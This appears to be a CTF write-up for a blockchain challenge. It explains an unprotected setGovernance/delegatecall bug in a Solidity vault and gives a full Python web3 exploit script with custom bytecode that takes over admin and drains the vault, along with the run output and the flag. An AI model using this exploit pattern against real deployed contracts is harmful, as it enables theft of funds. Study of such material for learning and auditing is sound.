Category: Blockchain
Flag: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}
Challenge Description
the government has released a new vault and now we can add proposals too , what?? , drain the VAULT
Analysis
from pathlib import Path
print('--- Governance.sol ---')
print(Path('/home/rei/Downloads/Governance.sol').read_text())
print('--- Vault.sol ---')
print(Path('/home/rei/Downloads/Vault.sol').read_text())--- Governance.sol ---
contract Governance {
uint256 public proposalCount;
function setProposal(uint256 x) public {
proposalCount = x;
}
}
--- Vault.sol ---
contract Vault {
bool public paused;
uint248 public fee;
address public admin;
address public governance;
...
function execute(bytes calldata data) public {
(bool ok,) = governance.delegatecall(data);
require(ok);
}
function withdraw() public {
require(!paused, "paused");
require(msg.sender == admin, "not admin");
payable(msg.sender).transfer(address(this).balance);
}
function setGovernance(address _g) public {
governance = _g;
}
}The whole bug is visible in plain Solidity: setGovernance has no access control, and execute does a raw delegatecall into whatever address was just set. Because delegatecall runs in the caller’s storage context, this is effectively “let attacker run arbitrary storage writes inside Vault.” The storage layout is also favorable: slot 0 contains paused/fee, slot 1 is admin, and slot 2 is governance, so a tiny attacker contract can write slot 1 to CALLER and slot 0 to 0, which makes paused = false and admin = player in one shot.
That was one of those suspiciously short blockchain solves where the exploit primitive is cleaner than expected.

python3.12 /home/rei/Downloads/solve_heist_v1.pyRPC URL : http://135.235.193.111:38075
Vault : 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Governance : 0x5FbDB2315678afecb367f032d93F642f64180aa3
...
[+] vault balance before: 5000000000000000000
[+] admin before: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
[+] paused before: True
[+] admin after delegatecall: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[+] paused after delegatecall: False
[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}The exploit script connected to the launcher, parsed instance details, deployed a minimal bytecode contract that stores CALLER into slot 1 and zero into slot 0, repointed governance with setGovernance(attacker), and triggered execute("") so the delegatecall mutated Vault state. After that, withdraw() succeeded from the player account and drained all 5 ETH from the challenge vault. The launcher’s Check solved path returned the real event flag, confirming the state transition and win condition were genuinely satisfied on the remote instance.
Solution
# solve.py
import re
import time
from eth_account import Account
from pwn import remote
from web3 import Web3
VAULT_ABI = [
{
"inputs": [{"internalType": "address", "name": "_g", "type": "address"}],
"name": "setGovernance",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
},
{
"inputs": [{"internalType": "bytes", "name": "data", "type": "bytes"}],
"name": "execute",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
},
{
"inputs": [],
"name": "getBalance",
"outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "admin",
"outputs": [{"internalType": "address", "name": "", "type": "address"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "paused",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "isSolved",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "view",
"type": "function",
},
]
def parse_instance(text: str):
rpc = re.search(r"RPC URL\s*:\s*(\S+)", text)
vault = re.search(r"Vault\s*:\s*(0x[a-fA-F0-9]{40})", text)
pk = re.search(r"Player Private Key:\s*\n(0x[a-fA-F0-9]+)", text)
if not (rpc and vault and pk):
raise RuntimeError("failed to parse instance details")
return rpc.group(1), Web3.to_checksum_address(vault.group(1)), pk.group(1)
def wait_rpc_ready(w3: Web3, retries: int = 20):
for _ in range(retries):
try:
_ = w3.eth.chain_id
return
except Exception:
time.sleep(0.25)
raise RuntimeError("rpc not reachable")
def main():
io = remote("135.235.193.111", 1337)
io.timeout = 5
banner = io.recvuntil(b"> ").decode(errors="ignore")
print(banner, end="")
rpc_url, vault_addr, player_pk = parse_instance(banner)
w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={"timeout": 8}))
wait_rpc_ready(w3)
acct = Account.from_key(player_pk)
sender = acct.address
chain_id = w3.eth.chain_id
gas_price = w3.eth.gas_price
nonce = w3.eth.get_transaction_count(sender)
def send(tx):
nonlocal nonce
tx.setdefault("chainId", chain_id)
tx.setdefault("nonce", nonce)
tx.setdefault("gasPrice", gas_price)
tx.setdefault("value", 0)
tx.setdefault("gas", 300000)
signed = Account.sign_transaction(tx, player_pk)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
nonce += 1
if receipt.status != 1:
raise RuntimeError(f"tx failed: {tx_hash.hex()}")
return receipt
runtime = "33600155600060005500"
init_code = "0x600a600c600039600a6000f3" + runtime
deploy_receipt = send({"data": init_code, "gas": 200000})
attacker = deploy_receipt.contractAddress
print(f"[+] attacker contract: {attacker}")
vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)
print(f"[+] vault balance before: {vault.functions.getBalance().call()}")
print(f"[+] admin before: {vault.functions.admin().call()}")
print(f"[+] paused before: {vault.functions.paused().call()}")
tx = vault.functions.setGovernance(attacker).build_transaction(
{"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
)
send(tx)
tx = vault.functions.execute(b"").build_transaction(
{"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
)
send(tx)
print(f"[+] admin after delegatecall: {vault.functions.admin().call()}")
print(f"[+] paused after delegatecall: {vault.functions.paused().call()}")
tx = vault.functions.withdraw().build_transaction(
{"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
)
send(tx)
print(f"[+] vault balance after: {vault.functions.getBalance().call()}")
print(f"[+] solved on-chain: {vault.functions.isSolved().call()}")
io.sendline(b"1")
print(io.recvrepeat(2).decode(errors="ignore"), end="")
io.close()
if __name__ == "__main__":
main()python3.12 solve.py[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}